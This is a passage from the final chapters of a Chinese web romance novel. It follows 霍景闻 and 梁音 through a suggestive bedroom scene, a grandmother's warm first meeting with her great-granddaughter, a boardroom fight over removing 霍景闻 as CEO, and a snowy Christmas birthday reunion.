没等她酝酿出什么婉拒的话,霍景闻就伸手握住了她一只手腕,脉络分明的干净长指牢牢的捉住她,一点一点往下,挤进她的指缝间,不紧不慢的和她十指相扣在一起,掌心火热的温度透过肌肤传了过来,让梁音的指腹都缩了下。 霍景闻抓紧她的手指不放,另一只手臂搂住了她的腰往前摁,“答应了要哄我的,在浴室磨蹭这么久,不会想临时反悔吧,说话不算话?” 梁音嘟了嘟嘴,小声说:“我是说再给你做一份晚餐哄你的,又不是这个……” 霍景闻:“你哄我,不是要我开心?那当然得按照我的要求来。” “可是……”梁音紧张的揪了揪手指,又发现还被他紧紧握着,松不开。 白皙的脸颊上不知道是在浴室被热水氤氲出的红晕,还是羞的,“我不会啊……” 这很羞耻好么,她又没他这么不要脸。 这种大尺度的事,要让一向温吞又单纯的梁音来做,那真是太为难了。 她很老古板的,认为这种事嘛,就该按部就班该怎么做就怎么做。 最好是采用原始的姿势最好。 可是霍景闻总是拉着她做一些不正经的,地点也不只是在卧室,都把她……带坏了。 梁音根本不知道,她红着脸,扭扭捏捏的样子,实在是太容易激发起男人的征服欲了。 霍景闻这种人,又最是肆行无忌,离经叛道的人,他就喜欢,按着梁音这种清纯的小白兔做一些她接受不了的尺度。 毕竟,在床上自己一手调。教出来的小白兔,是最适合他心意的。 “没关系。”霍景闻很好说话,放在她腰间的手往上移,划过她的锁骨,下巴,最后是靡软的红唇,指尖挤进紧抿的唇瓣,强势的放进去,分开一条细缝,“慢慢来就好。” “那么现在,”他的手指移到了她肩膀,缓缓用力往下摁,嗓音已经透着不易察觉的兴奋与低哑,“先跪下去。” …… 梁音脾气很好的,很少发脾气。可是在床上又总是被他惹哭,动不动就要不理他。 发泄完**的霍景闻哪里还有一点气,什么理智,道理都回来了。 他这个时候就想到梁音为了他把那个死贱人赶回了意大利,心里很是痛快。 也就不计较梁音威胁他要假意分手的事了。 但麻烦就麻烦在,他刚刚没有收好力道,把梁音给惹毛了,而且看起来很不好哄的样子。 霍景闻从身后把梁音搂进怀里,一边安抚的吻着她带汗珠的颈项,细嫩的耳根,心满意足,没什么诚意的道歉,“我错了老婆。” 梁音嘴巴还有点儿麻,不想理他。 霍景闻扭过她的脸,强行和她亲吻,不过并不重,而是很温柔的含吮,勾着她的舌尖缠绵的舔舐。 缠绵了好一会儿再吐出来,亲了亲她的唇瓣,下巴,脸颊…… 黏黏糊糊的,竟然有种撒娇的意味。 “老婆,看在我吃了好大的醋,又挨了两拳的份上,你原谅我这一次。” 梁音眼眸里还有未干的雾气,躺在他怀里,认真的思索了一秒:“霍景闻,你是在撒娇啊?” 霍景闻脊骨一僵。 很不想承认刚刚的自己就是在做这么娘兮兮的事。可是,又没办法不承认。 英挺的眉骨动了动,颇有些艰难地说:“嗯。” 梁音本来抿直的唇瓣忍不住微微翘了翘,伸出手指戳了戳他的手臂,“不害臊,一米八九这么大的个子还撒娇。” “嗯,就撒娇。” 霍景闻干脆完全放开了,整个人压在她柔软的身上,搂的紧紧的,埋在她的颈间,那双丹凤眼扬起来,极为得意地说,“因为我老婆会心疼我啊。” 梁音眼眸也弯了弯,被他抱得都快喘不过气了,“你松开一点儿啊。” “不要。” “松开嘛~” “不、要。” —— 清晨。 一辆黑色的豪车驶进明湖山庄,过了一会儿缓缓停下,司机下车,拉开后车车门,从里面抱下来一个眼睛大大的,粉粉嫩嫩的小女孩。 她乌黑柔软的头发散下来,像是浓密华丽的海藻,一半发丝被挽在脑袋后面,用一个大大的蝴蝶结夹子夹住,上身是粉粉的短款羽绒外套,配上同色的小靴子,皮肤又白又嫩,漂亮优雅又可爱,完全就是个矜贵的小公主。 这抹亮眼的颜色惊动了明湖山庄沉静的山水。 在外院的管家率先一步走进去禀报老太太:“老太太,景闻的车来了,从上面下来一个年轻的女人,还有一个,漂亮的小女孩。” 霍老太太拿着平板正在刷帅哥,闻言蹭的一下,手脚灵活的站起来,把平板关上,激动地说:“我的小孙孙来了?!” 她在客厅走来走去,整理了一下自己的发型,衣服,恢复成优雅雍容的样子,问管家:“怎么样,还算得体吧?” 管家连忙说:“老太太很精神。” 霍老太太:“那还愣着干什么,赶紧把她们给我请进来啊。” 外面这么冷,冻坏了她的小孙孙怎么办?! 管家连忙出去了。 …… 过了几分钟,管家恭敬地领着梁音和意意走进来,笑着说:“老太太就在客厅等你们呢。” 意意听到了,忍不住有点儿紧张的看着妈妈。 爸爸说这是她的太奶奶,很喜欢意意,想见意意。可是意意终究之前完全不知道这个太奶奶,相当于完全见一个陌生人,很难不紧张的。 一走进客厅。 老太太穿着质感高贵的中式大衣,花白的发丝由专人打理得很利落,每一根都妥帖的梳起,装扮得体又雍容,手上还端着一套缠枝牡丹纹的茶杯,正在不紧不慢的喝着茶。 沉静,优雅,看上去就有一种极为高人一等的距离感。 意意看了一眼这个奶奶,感觉自己更紧张了。 梁音捏了捏女儿的小手,蹲下来看着她的眼睛温声说:“意意不怕,太奶奶很好的,她很喜欢你,上去和太奶奶打个招呼吧。” 意意捏紧了小手,鼓起勇气,转头噔噔跑到老太太跟前,稚嫩的嗓音甜甜的叫她:“太奶奶你好呀,我是意意,是你的……小孙女儿。” 甜甜的嗓音一下就软到了霍老太太的心里,她端着茶杯的手差点没稳住,赶紧放下。 看着面前可爱的小团子,再也端不住了,眼角笑得夹成了一团,连忙应道:“哎,我的小孙女儿呀,真可爱真漂亮,嗯,随我。” 梁音提着饼干走过来,笑了笑说:“奶奶,应该是重孙女儿。” 霍奶奶小心的试探的要牵意意的小手,见小孩儿不排斥,一把把自己的小孙女抱了起来,幼稚地说:“我不管,这就是我的小孙女儿。” 意意这会儿也不紧张啦,也笑眯眯的,用滚烫的小嫩脸蹭了蹭太奶奶。 霍老太太感觉自己的心都快化了。 意意指了指放在茶几的饼干介绍说:“太奶奶,这是我妈妈亲手给你做的饼干哦,可好吃啦,意意偷吃了一点点。” 她用小手比了了一个一点点的样子。 霍老太太看了看饼干,又看了看梁音,哼了一声:“我说了吧,就知道你不是那臭小子的助理,他当时那眼神就没离开过你身上,我老太太看得可清楚了。” “结果没想到啊,你们背着我连孩子都生了……” 梁音笑了下:“那个,应该说,是我一个人背着你们生的。” 霍老太太挥挥手:“我不管那些,反正是你们俩搞出来的,可苦了我的小乖宝啦。” 霍老太太抱着意意,心疼的摸摸她的小脸。 意意知道太奶奶说的小乖宝是她,连忙说:“太奶奶,意意不苦,意意很甜的!” “哟,这么甜呀,我小乖宝真棒。”霍老太太被意意哄得开心极了,那点气立马就消了,转头佩服起梁音来了,“生出这么可爱的宝贝,梁小姐,你真是我霍家的大恩人呐!” 梁音差点被这句话呛到:“太严重了奶奶,没有这么……” 霍奶奶笑眯眯的:“有,怎么没有。你能搞定我那个又凶脾气又臭的大孙子,就是功德无量了。” 她拍了拍身旁的沙发,让梁音过来坐下,“来,和奶奶说说,他平常对你凶不凶?他要是凶的话,你就来奶奶这儿说,我包说他的!” 梁音简直哭笑不得。 这老太太,网瘾比她还大,还挺潮的。 她走过去慢慢坐下,“那奶奶,之后我可就靠您了,要是他欺负我,您可要为我撑腰啊。” 霍老太太被哄的立马挺起腰杆,天晴了,雨停了觉得自己又行了:“包的包的。” …… 晚上七点半,梁音带着意意在明湖山庄陪老太太吃了晚饭,时间已经不早了,结果这一老一小还一起看着动画片正来劲儿,意意陪着她太奶奶很开心,霍老太太也舍不得她的小孙孙,就请梁音今天晚上在明湖山庄留宿。 梁音看霍老太太实在舍不得意意,就答应了。 她看得出来,老太太真的很喜欢意意,她的房间里竟然摆了很多意意各种角度的照片。 梁音心想,明明之前她们从未见过面,竟然就会如此喜爱。 也许,这正是血缘的羁绊的。 也是她从小到大一直在追寻的羁绊。 意意让佣人服侍洗完澡出来,换上了一身可爱的花朵小睡裙,脸颊粉粉的,正热情的要给她太奶奶表演在幼儿园学的舞蹈。 霍老太太一看她的小孙孙要表演,非常重视,郑重其事的叫管家搬来好几个专业摄像机,各种角度对着意意拍。 还真的像拍小明星似的。 意意也不怯场,还说:“管家爷爷,你要拍到哦。” 老管家哪里想到小小姐竟然叫了他一声爷爷,那叫一个喜悦,一向严肃的他笑得一脸慈爱,“好的小小姐,管家爷爷一定好好拍。” 意意重重点头:“嗯。” 霍老太太已经拿起了手机,还把镜头拉到两倍大,“意意,太奶奶准备好了,你就开始吧。” 意意:“好嘟~” 稚嫩的童音落下,她郑重的牵起裙摆,小脚脚一翘,就开始认真的跳起来。 一边跳还一边自己唱歌配乐,把满室老少可爱得都叫出声来。 那几个在一旁围观的保姆都捂着脸一脸的姨母笑,更别提霍老太太了。 梁音看他们玩得正开心,站在一旁看着,也没打扰。 这时口袋里的手机响了起来,是霍景闻。 不想打扰他们。梁音走出客厅,来到外面 才接起。 霍景闻略带疲惫的声音从电话里传来:“带意意回去了没?” 梁音:“没有,意意正在给她太奶奶跳舞呢。” 霍景闻挑了挑眉:“我小公主还有这技能,怎么不给我跳?” 梁音:“这是最近幼儿园教的,你每天回来得这么晚,她等了你好几天都想给你跳呢。” “是我的错,最近实在太忙了。” “那今天什么时候回来?” “忙完大概要十二点。”霍景闻看了下手腕,“太晚了。待会儿我让司机去接你。” 梁音:“不用了,今晚我们就在奶奶这儿睡。” 电话里霍景闻的声音顿时扬了起来“你们要在明湖留宿?” 梁音眨了眨眼:“是啊,我已经答应奶奶了。” 霍景闻:“我没有答应,你们待会儿就回来。我从公司去明湖至少要三个小时,那么晚我还睡不睡了?” 梁音:“你回千水就好了呀。” 霍景闻:“不行,没有你我睡不着。” 梁音沉默了下。 语气无辜:“那你过去六年一直没有睡觉吗?你有这么厉害啊?” 霍景闻:“……” 眼见理由说服不了她,霍景闻就决定强制梁音回来:“总之,我待会儿就让安叔去接你们。” 梁音:“不要,我和奶奶说好的。” 霍景闻:“那你再去和她说一下。” 梁音又沉默了。 正当霍景闻以为她妥协了,就听到她温吞又缓慢地问:“霍景闻,你是在凶我吗?” 霍景闻眉心拧了拧:“……没有,我哪里有凶你?” 开什么玩笑,他现在连对她大声一点都不敢,怎么可能会凶她。 梁音:“你的语气很严肃。” 霍景闻:“所以呢。” 梁音:“所以你就是在凶我。” 霍景闻:“……” 梁音是不是想冤死他? 梁音叹了一口气,语气却没得商量,正色地说:“那你就不要命令我啊,听到没?” 霍景闻沉默了一下,衡量了一下再反驳她生气的概率,最终还是认命:“听到了。” 梁音:“你在公司好好忙,晚上不要来回奔波了,就回家里睡。” 霍景闻说不出一点反对的话:“好。” 梁音:“那就这样吧,挂了。” 霍景闻:“行。” 梁音很满意:“那晚安哦。” “老婆晚安。” 莫名其妙就这样被梁音指使着挂了电话。霍景闻皱着眉看着挂断的电话页面,他竟然就这样被梁音牵着鼻子走了。 不敢反抗一点儿。 没有一点骨气。 怎么会这样。 想到这里霍景闻的脸都黑了。 而站在办公桌前还等着汇报的张晓看霍景闻还低头看着手机,以为他是不舍得和梁小姐挂掉电话呢。 霍总忙成这个鬼样子,每天都要抽时间给梁小姐打电话,在这方面可真是好男朋友啊。 气氛实在太严肃了,张晓猜想霍总一定很乐意聊一聊有关梁小姐的问题,便大着胆子自以为机智的开了个玩笑说:“老板,没想到您还挺怕梁小姐,是个妻管严呐。” 话音一落。 就见霍总一脸不耐地抬头看着他:“你说谁妻管严呢?” 张晓脸上笑容一僵。 深恨自己多嘴。 在心里腹诽,本来就是,还不让人说了—— 作者有话说:要完结啦,还有两章。 第64章 第64章三堂会审。(一更)…… 十二月底。 宜京的温度已经降到零下。 天上飘飘洒洒落下了细白的大雪,宜京的第一场雪,来了。 伴随着冷天气,一大早,宜京头条爆出了何氏建筑的一则丑闻。有爆料称,何氏建筑在A市开发的江南景区项目存在严重的质量问题,还没建成,墙体竟然已经开裂,甚至有一栋在山腰的小型亭台公然倒塌,造成建筑工人伤亡。新闻一出,何氏建筑股票飞速跌停,政府部门将江南景区项目紧急查封叫停,百亿投资瞬间打了水漂。 而前段时间,霍景闻还签署了投资江南景区的投资协议,与何氏达成了合作。 何氏一暴雷,霍景闻新增的五十亿投资打水漂了不说,还牵连到霍氏的股价也因此动荡。损失如此惨重,这便是霍氏这位现任总裁的重大决策失误,让其引咎辞职,或者在股东会上谢罪也不为过。 总之,这件事,霍景闻必定要给各股东一个交代。 年底的事务本就多,霍景闻巡查完最后一个分公司从海外出差归来,不得不抽出时间来应付这群股东们。 依然是长达十二米的会议桌,这次大大小小的股东们几乎都到齐了,包括霍景闻那些已经很久不出山的霍氏旁支长辈们,都出席了。 好一出,三堂会审。 看来老爷子这次是铁了心要罢免他了?就为了区区五十亿? 在商场上,谁又能保证自己是常胜将军,偶尔一两次的决策失误在所难免。老爷子这段时间给他施压不成,已经彻底没了耐心,要借着这件事,剥他的权。 现在霍景闻手上有百分之十五的霍氏股份,联合站他队的股东,加起来有百分之三十。而霍老爷子加上霍氏三兄妹,以及剩余股东,股份恐怕超过了百分之三十二,还有剩下的,是占中立,或者远在海外不管事务的。 霍景闻当然不会坐以待毙,现在就看是他拉拢的人多,还是霍老爷子的威望更高了。 所以这场针对霍景闻的“罢免大会”,势在必行。 霍老爷子在一众股东的簇拥下走进来,罕见的出席,坐在上首位,会议室内气氛严肃而寂静。 他率先把霍景闻投资失利的合同甩了出来,“景闻,损失五十亿是小事,重要的是你在这次投资决策上的一意孤行,不听劝阻。在生意场上有野心是不错,可是盲目自负可就不是好事了。” 霍景闻接过那份合同翻开看了一眼,“爷爷这是铁了心要罢免我了?” 霍振华:“我要你为自己的错误买单,给股东们一个交代。” “好,我就给股东们一个交代。从哪里开始呢?”霍景闻让助理打开投屏,放出一张张和何超的聊天记录,每一张都堪称惊悚。 “何氏建筑早就半年前就出现了财务危机,于是不得不压缩成本,在施工过程中使用了性能更加不稳定不符合规制的钢筋水泥,偷工减料,这样造出来的东西质量可想而知。早就在一个月前就出现了工地坍塌事件,被何家强压了下去。何家走投无路,找到了霍家,寻求帮助。而我们的霍董事长,您当时是怎么做的呢?是您暗示的何家通过我与何超在科技上的合作,对我抛出了“江南景区”的橄榄枝,引诱我上何家这条贼船。作为以此罢免我的名头。” 会议室里掀起了一阵波澜。 看完那一张张的实证,都倒吸了一口凉气。 这竟然又是一次陷害? 霍振华任由那一张张对他不利的聊天记录被翻阅,喜怒不变,语气沉稳:“何家确实找过我,可那又怎么样,即便我让何家人来联系你,这个决定终究是你自己做的,不是我逼的你。霍氏目前的舆论和损失,也是你一手造成的,你不该为 此而付出代价?” “损失?霍氏有什么损失?”霍景闻此时眉头懒洋洋的一挑,“我是签署了这份文件不错,可是文件上既没有盖章,财务也没有拨款。一份无效的合同,我给霍氏造成了什么损失?” 他随手把那份合同推到其他董事手中,让他们一一过目。 张董是最先看到的,他连忙翻到合同最后一页,低呼:“果然没有盖章!这份合同还没有生效!” 紧接着他把合同又传给其他的股东查看。 霍景闻撑着下巴,对霍老爷子笑了笑:“爷爷,你说我有罪,那么我现在问您,我还有什么罪?” 会议室内除了一些低低的惊叹声,大部分的股东面上都保持了沉静,不发一言。 霍家三兄妹见此,脸上倒是很不好看,他们没想到,精心设计的圈套,又再次被霍景闻识破,让他将计就计,给了霍老爷子好大一个“响亮的耳光”。 这大概是霍振华经营几十年来,第一次受这么大的挫,还是因为自己的孙子。 会议室里静的吓人。 霍振华忽然朗声笑出来:“真不愧是我霍振华的孙儿,心机手段之深都快超过我老头子了。原本霍氏交在你手上,我老头子很放心。但你千不该万不该,为了一个平民女人,如此忤逆我。” “这场博弈是我输了,景闻。”霍振华眸光精明而沉稳,锐利地微笑,“可是你忘了,我是霍氏集团的董事长,我要罢免我的孙子,也可以不用理由。” 霍云秀一听,也跟着笑了起来,“是啊,那要不然我们现在就来表决哦。看看是景闻你手里的股份更多,还是我们呢?” 会议室内气氛紧张,几乎一触即发。 …… 明湖山庄里。 趁着休息,梁音又带着女儿来看老太太。 雪越下越大,落在岿然不动的湖面下一秒就融化。再庞大的风雨,在这汪明静的湖泊里,似乎不值一提。 意意和老太太正在客厅里开心的玩着消消乐。 看老太太眼神不济,明明是老太太的关卡,意意还是伸出来援助之手,小手指了指左上角,“太奶奶,这里可以消掉!” “太奶奶,我们买道具吧,意意有压岁钱哦。” “太奶奶,意意给你买。” 意意拿着她的小天才出来,又要大方的分享她的压岁钱。虽然她也就见了霍老太太几面,但祖孙两个显然感情已经非常亲密。 老管家在一旁称赞:“老太太,小小姐很疼您呢。” 霍老太太傲娇地说:“那是,这可是我的宝贝小孙孙。” 祖孙两个玩得很开心,时不时传来开心的笑声。 梁音看了下时间,下午三点半了,也不知道霍景闻那边怎么样了。 她的心没办法像明湖一样毫无波动,会因为爱人,而产生涟漪。 “意意很可爱。”老太太不知道什么时候站到了她身边,笑着称赞,“能把孩子带得这么善良可怜,我想这都是你的功劳。但与此同时,一个人把孩子带到这么大,这其中的辛苦也难以想象。是景闻让你变成了单亲妈妈,让你辛苦这么多年,你就一点儿也不恨他?” 梁音转头看了眼,发现意意在和管家爷爷一起玩,没有注意到这边。 她弯了弯嘴角,看着老太太说:“不恨啊。奶奶,我不是第一次解释生孩子这件事了,但我的回答从来没有变过。” “生下意意是我经过深思熟虑,清醒理智下做的决定。我衡量过生下孩子要付出什么,计算过育儿成本能不能负担,思考过生下孩子意味着什么。我都想好了,这是我一个独立的,自主的,有主体性的成年人做下的决定,所以我不认为这是他亏欠了我。我自己,已经是一个可以负责的大人。” 霍老太太点点头,很欣赏:“你这倔强劲儿,和我年轻的时候还真有的一拼。我就很讨厌别人说我做什么是为了谁,我做任何决定,都是为了自己。包括,把霍景闻的爷爷,一个佣人的儿子,提拔成霍氏的总经理,又让他冠上霍姓,当了霍家的姑爷。” 梁音冷不丁从老太太口中听到这豪门秘闻,也震惊了一下。 原来德高望重的霍老爷子竟然不是霍家人,而是入赘给霍奶奶的赘婿? 怪不得,怪不得老太太也姓霍。 她之前竟然没有深思过这一点。 霍奶奶提起久远的事,看着明湖因为落雪而微微波澜的湖面,似乎也陷入了回忆,她难得像今天这样清醒,“你爷爷他年轻的时候就很能干,不输给任何的豪门公子,且对我极度忠诚。有一次在一场宴会里,我的那些叔伯们安排了十几个杀手准备暗杀我,他愣是在枪林弹雨中把我救下来了,自己中了两枪险些丧命……你知道你爷爷他为什么要培养小辈们互相争斗,自相残杀么?” 梁音摇了摇头。 她并不理解这其中有什么内情。 还以为只是豪门中寻常的争权斗争而已,原来其中还有隐情? 霍老太太:“那是因为他想给我培养一个,最好的最能干的霍氏接班人,绵延我霍氏百年荣耀。最终,在残酷的磨砺中,他挑中了景闻。哪怕我这个孙孙性格乖戾,不服管教,甚至因为他爸爸对他做下的错事,对霍家上下都充满了厌弃与仇恨。但我这个老头子还是扶持景闻坐上了霍氏掌权者的位置,因为他知道,只有景闻,能带领霍氏继续延续辉煌。至于我那三个孩子……” 老太太自嘲地笑了笑:“简直是一个比一个不争气。” 要不然,她也不会默认老头子这么做。霍家,绝不能在她在世的时候,落败。那将是她一生的耻辱。百年后,她哪里有颜面去见地下的亲长。 都怪这死老头子,基因这么差劲,竟然生了三个都是废物,没一个聪明的。 霍老太太越想越气。 梁音消化着老太太的话,一时之间不知道该说些什么。 霍老太太也没想她发表什么观点,忽然又看着她,意味深长的说:“可是你知不知道老头子现在已经动了要罢免景闻的心思了,就是因为景闻要娶你。老头子认为,娶了你这个出身平凡的女人,是对霍家高贵血脉的玷污。虽然我看现在景闻在霍氏已经培植了不少自己的势力,未必会怕这死老头子,但是要和他爷爷周旋一番总是费时费力,要付出不少代价,更不可能全身而退的。” 梁音不明白:“可是霍老爷子自己曾经不也是个……” 霍淑荣:“当一个人尊贵久了,还能记得自己的来时路,曾经的身份吗?甚至,会反过来会变本加厉的看不上那些同类人。” 梁音似乎明白了一点。 霍淑荣深深地看着她:“你明知道景闻要和你在一起会付出巨大的代价,你就忍心让他这样做?为了他好,你应该离开他不是么?” “也许是吧。”梁音想不清楚其中的利害有几分,弄不明白究竟怎样选择才是为了他好,她想,这本就是一个恒古的难题。 “可是现在,我还是想站在他身边,陪着他一起面对。比起离开他,我更想和他一起面对风雨,走过这艰难坎坷的一生。” 霍淑荣慢慢笑了出来:“为什么还愿意和他站在一起?我调查过了,景闻曾经欺骗伤害了你,你就一点儿也不恨他?我以前就说过了,他因为童年的遭遇,性情乖张,狠辣,甚至是冷血的,脾气也桀骜暴躁,不把任何人放在眼里。说起来,他在外界的风评并不好,也算不上是一个很好的结婚对象。你为什么还要原谅他?因为钱?不,如果是为了钱,当初你就不会走。” 梁音垂下眼,温声说:“他是经常不讲道理,性情有些桀骜,但是并不坏啊。他从来没有对我凶过,人无完人,我也不是十全十美,我也有缺点。他做错了,道歉了,也弥补了。他等了我漫长的六年,真的很不容易,我 们还相爱,我没有什么理由不原谅他。至于外界所谓的风评,您也说了,他小时候经历了太多的折磨和苦难,被丢弃,苛责,虐待,所以性情凶一点不是错,这是人体的自我防御,受到伤害的人用冷漠凶狠的面具来保护自己,这更不是他的错呀。” 她一字一句,回得极其认真。 众人都说霍景闻性情乖戾,凶狠狂悖。 她却说,是他受伤了,学会了自我保护,并不是错。 霍淑荣静静地看着她许久。 最后点头,看着地上连绵的银白,长长的叹气:“是啊。” “这不是我孙孙的错啊。” 霍淑荣忽然摸着下巴,又睿智地说:“不过我看景闻在你面前确实挺乖的,果然啊,一个猴有一个猴的拴法,也就你能制住他了。” 梁音没忍住,也笑了出来—— 作者有话说:还有一更~《 》 【完结章】 第65章 第65章爱上你是我…… —— 董事会投票,对于罢免霍景闻集团总裁一职的提议,包括在海外未回的股东票数在内,最终投赞成票的十二票,反对票的是十一票。 终究还是霍老爷子占了上风。 霍振华虽然赢了,依旧喜怒不显,看着霍景闻说:“景闻,你很有我年轻时候的影子,可惜还是太年轻了。你执掌霍氏还不到两年,就算这段时间迅速培植了你自己的势力,但还不足以完全取代我。” 霍云秀一脸喜色,得意地说:“爸,我看你早该这样了。您孙子孙女外孙外孙女多得是,小辈里对您唯命是从,听您的话也不在少数。何必培养一个白眼儿狼呢。” 她说完,轻蔑的瞥了眼已经落败的霍景闻。 今天以后,这霍景闻就要交出霍氏的经营权,让出位置,以后老爷子要挑哪个小辈继承,他们不都可以争一争么? 霍景闻面色淡淡坐在位置上,没有因为霍云秀的落井下石而出现波澜。 有这样的结果,说实话,本就在霍景闻的预料之中。在这次股东大会之前,他就计算出结果了。 老爷子说得也没错,就算他这两年培植了不少自己的势力,但说要完全取代他在霍氏的威望,那也太过天方夜谭。 老爷子可不是霍秉仁这等废物,那是从波谲云诡的商场杀出来的枭雄人物。 这落败,他认。 张董原本是霍秉仁一派,在霍秉仁出局以后,没少霍景闻针对。这段时间在这霍氏也是寸步难行,眼下可算是狠狠出了一口气。 他那双细长的小眼睛里满是嘲讽,对着霍老爷子提议:“霍老,您这个孙子野心太大,还想取代您呢,也不看看自己几斤几两。” “这么不服管教对您不恭的小辈,依我看,罢了他的职都是轻的,他不是有野心么,不如把他调到什么非洲,叙利亚去,让这位大野心家,好好奋斗一番!” 张董极得意地说,得意忘形到没看见一旁的叔叔对他使了眼色。 而这时,满堂安静,没有一个人提出异议。 张董轻蔑的笑了笑。 这小子,终于落到他手里了,可真解气啊! 他又继续说:“你们大家说说,是请我们这位前霍总去非洲,还是叙利亚呢?” 霍云秀倒是乐见其成,笑着说:“不如就叙利亚好了,那里连年战争,但发财的机遇啊,也是有——” “你们要罢免我孙子,经过我同意了?”一道极威严的声音穿透会议室大门传进来,紧接着是清晰沉稳的脚步声,会议室大门被人从外面用力推开,众人连忙看去,只见一排精壮的黑衣保镖中间,站着一个满头银丝,神情凝重的老太太。 老太太在保镖的簇拥下不急不缓的走进来,一袭深紫色庄重的精绣外套,胸前领口上别着一枚简单的珠宝胸针,脸上带着岁月的纹路却不失优雅贵重,她站在高高的台上,那满是书香豪门沉淀的威仪,气场无需多言。 但是在场年轻一些的董事完全不认识这位老太太。 张董也不认识,听老太太口气不小,是为自己的孙子撑腰来了,就知道这是霍景闻的奶奶。 可是奶奶又怎么样,一个被养在深宅大院没有见识的老妇人,有什么可怕。 他当即站起来:“这里是霍氏,男人商量大事的地方,你一个无知老妇人,要维护自己的孙子回去再哄——” 话没说完,就被身旁脸色难看的叔叔狠狠掴了一掌制止:“住嘴!” 他连忙站起身,在场的几个年岁大点的董事也连忙跟着站了起来,齐声恭敬地问候:“大小姐。” 张董捂着脸不敢置信地看向台上那个头发发白的老太太,完全不明叔叔他们为什么对她这么尊敬。 下一秒,他就看见霍董事长竟然也站了起来,拉开椅子请老太太坐下,语气也甚是谦卑:“淑荣,你怎么来了?” 老太太干脆利落地坐下:“我为什么不能来?你们不是要投票罢免我的孙子?我也是股东,也有投票权吧?” “当然有。” 一直没有出声的霍景闻慢条斯理地看向老太太,“奶奶,您可算是来救我了。我还以为,你真的不管我,不管霍氏了。” 霍淑荣:“那不能,你知道奶奶是最疼你的。” 霍景闻笑眯眯的点了点头。 霍云秀非常不满:“妈——” “别叫我妈,”霍淑荣很烦,“在公司,请称职务。” 霍云秀:“您又没有职务!” 霍淑荣一愣:“啊?我不是董事长吗?” 霍云秀:“您早就交给爸了!” 霍淑荣:“是么?我给得出去,就收得回来,是不是啊,老头子?” 霍振华当然不敢反驳:“是的,小姐。” 霍淑荣很满意,眼神变得睥睨,扫了眼坐下的众人,从容说:“那各位还有异议吗?” 霍淑荣投给霍景闻一票,票数打平不说,霍淑荣手中还有百分之二十五的霍氏股份,远远压制了霍振华一派,谁还能有异议。 这场罢免闹剧自然作罢。 底下一片寂静。 霍淑荣手一挥:“那就散会。” 会议结束后霍淑荣单独留下了霍振华,没有外人在,她也懒得给他留什么情面,大骂:“你个死老头子,想干什么?景闻是我定下的继承人,你是分不清大小王了吗?是你的面子重要,还是我霍氏的未来重要?!” 霍振华也不敢狡辩,“淑荣,我不是为了我的面子,你不知道,景闻他要娶一个低三下四的平民女人,我绝对不会允许的!” 霍淑荣:“什么叫低三下四,大清早就亡了。你是不是封建荼毒坏了脑子,现代社会还来这一套。再说,你自己曾经是什么身份忘了?” “当然不是。”霍振华面色惭愧,全是忧虑,“淑荣,正是因为有我的前车之鉴,我才不能让霍氏重蹈覆辙。大家族,就应该娶一个底蕴深厚,门当户对,知书达理的妻子或者丈夫,否则……眼界比不上,会毁了下一代。我这些年一直在想,如果当初你没有嫁给我,而是嫁给了门当户对的男人,霍氏会不会走得更远。” 霍淑荣没有说话。 他的这个假设,她也想过。 可是没有如果。人永远不要为自己的选择后悔,做出了决定,就要负责。 而且。 霍淑荣慢慢站起来,霍振华连忙搀扶着她。 她走向门口,忽然又停下:“老头子,你做得已经很好了,没让我失望。梁音这个孩子我也看过了,也很好。她的眼界,品质,肚量,都很难得,不输名门贵女。” “是你这些年,狭隘了。” “小姐,我……”霍老爷子老泪纵横,“如果我做得好,你为什么要搬出去?” 霍淑荣感觉自己也忘了为什么了,她的脑子总是时清醒时糊涂的,只是下意识地说:“因为你很啰嗦。” 太烦了! …… 霍淑荣没有直接离开霍氏,而是转头去了霍景闻的办公室。 一进来就大摇大摆的到处巡视 ,“怎么都是黑白灰,品味太差!等过几天我让老管家给你搬坐大红色的沙发来,喜庆。” 霍景闻头痛得揉了揉,连忙拒绝:“行了,这大红色的沙发您还是自己留着。” 霍老太太撇了撇嘴,“没品味。” 又说:“你爷爷那里,我刚刚也说过他了,你就别生他的气了。” 霍景闻被这老太太的偏心眼儿气笑了:“您老头差点都把我整死了,您就说他两句,太偏心眼儿了吧?” 霍淑荣理直气壮:“那可不咋的,看在你爷爷为我们霍家传宗接代的份上,你也别和他计较。没有功劳还有苦劳呢。而且他是我老伴儿,也是你奶奶的家生仆,从小服侍我长大,死了也要和我埋在一起的,我当然偏心他了。是你,你能不偏心你老婆吗?” 霍景闻想了想。 也是。 那他当然偏心梁音了。 “行了,我还没那么小心眼儿,记自己爷爷的仇。”霍景闻没多说,看了眼腕表,“我没时间和您闲聊了,我让人送您回去?” 霍老太太一脸谨慎:“你要干什么去?” 霍景闻:“今天圣诞节。” 霍景闻:“我要给我老婆过生日。” 霍老太太一脸开心:“什么,是音音的生日啊?那我也要去!” 霍景闻起身打开门,脚步只停留了一秒,十分无情的说:“您啊,还是去陪您的老伴儿吧。” 把霍老太太“你这个不孝孙孙”的控诉丢在了身后。 …… 宜京这场大雪来得正是时候。 恰巧碰上了圣诞节,初雪为节日的气氛更加增添了几分热闹。 梁音正要出门取蛋糕,看天色暗下来了,想着他那边的会议也该结束了,准备打个电话问一下情况。 雪已经落了一层,意意裹得圆滚滚的,伸手指了指,说想去玩雪。 梁音就让她去了。 拿出手机站在楼下给霍景闻打电话,铃声只响了一秒就被接起,霍景闻低冽的嗓音传来:“想我了?” 直接把梁音没说出口的话堵回了嘴里。 他一贯什么话都说得出口,她却比较内敛,那些肉麻的话很少说。 而且他们才半天没有见到而已,也说不上什么想不想吧。 正打算实话实说,大概是了解梁音心里在想什么,霍景闻威胁的话音就送到了耳边:“嗯?” 他的尾音下压,简直威胁感满满。 梁音觉得好笑,只好改口:“想了。” 霍景闻那边安静了一下,好像有踩在雪地里的咯吱声。 难道他回来了么? 梁音正猜想着,忽然一道高大的身影从夜色中走来,阔步走在雪地里,头顶也落了几片雪白。 他手里拎着一个漂亮的蛋糕,一步一步走到她身前,俯身单手就把她拥入怀里,声音愉悦至极:“我也想你。” 梁音感受到他身上的暖热的体温,忽然想,今年的雪,也不算冷。 “梁音。”霍景闻忽然叫她的名字。 “嗯?” “梁音。” “我在,怎么了?” “没什么。”得到她肯定的回答,霍景闻似乎终于安心,笑着说,“我是想说,你回来后的每一天,我都感觉到无比的幸福。有你在,我才终于觉得这个世界有了色彩和温度。从见到你的第一面起我就知道,爱上你是我命中注定。还有——” 梁音眼眸弯弯:“还有什么?” 霍景闻:“还有,生日快乐,老婆。以后你的每个生日,我都会陪着你,永不缺席。” 